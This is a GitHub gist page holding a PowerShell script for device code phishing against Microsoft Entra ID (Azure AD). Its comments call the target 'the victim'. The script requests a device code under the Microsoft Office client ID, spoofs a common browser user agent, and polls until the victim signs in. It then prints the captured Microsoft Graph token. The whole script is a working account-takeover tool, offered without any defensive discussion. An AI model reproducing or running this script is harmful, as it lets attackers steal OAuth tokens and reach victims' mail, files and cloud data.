Skip to content

Instantly share code, notes, and snippets.

@m8r1us
Created February 19, 2024 09:49
Show Gist options
  • Save m8r1us/6d101fbfdae0fb8bd3cde03d0096c298 to your computer and use it in GitHub Desktop.
Save m8r1us/6d101fbfdae0fb8bd3cde03d0096c298 to your computer and use it in GitHub Desktop.
DeviceCode
#Define an Azure AD Application from which you want to connect in the name of the victim to a resource
#client_id = Microsoft Office App
#resource = Microsoft Graph
$body=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"resource" = "https://graph.microsoft.com"
}
#Define an UserAgent that is widely used
$UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
#Invoke the request to get device code
$Headers=@{}
$Headers["User-Agent"] = $UserAgent
$authResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0" `
-Headers $Headers `
-Body $body
#Display the user_code and device_code
$authResponse
#Pull for response
$tokenResponse = $null
#Generate the expire data from expires_in
$maxDate = (Get-Date).AddSeconds($authResponse.expires_in)
#Define the body for the pull request with the device_code generated above
$bodyTokenResponse=@{
"client_id" = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
"code" = $authResponse.device_code
}
#Loop until $tokenResponse has a value or the user_code is valid
while (!$tokenResponse -and (Get-Date) -lt $maxDate)
{
try
{
$tokenResponse = Invoke-RestMethod `
-UseBasicParsing `
-Method Post `
-Uri "https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0" `
-Headers $Headers `
-Body $bodyTokenResponse
}
catch [System.Net.WebException]
{
if ($_.Exception.Response -eq $null)
{
throw
}
$result = $_.Exception.Response.GetResponseStream()
$reader = New-Object System.IO.StreamReader($result)
$reader.BaseStream.Position = 0
$errBody = ConvertFrom-Json $reader.ReadToEnd();
if($errBody.Error -ne "authorization_pending")
{
throw
}
Start-Sleep($authResponse.interval);
Write-Host -NoNewline ".";
}
}
Write-Host ""
if($tokenResponse)
{
Write-Host $tokenResponse
}
else
{
Write-Host "1:0 for the Victim"
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment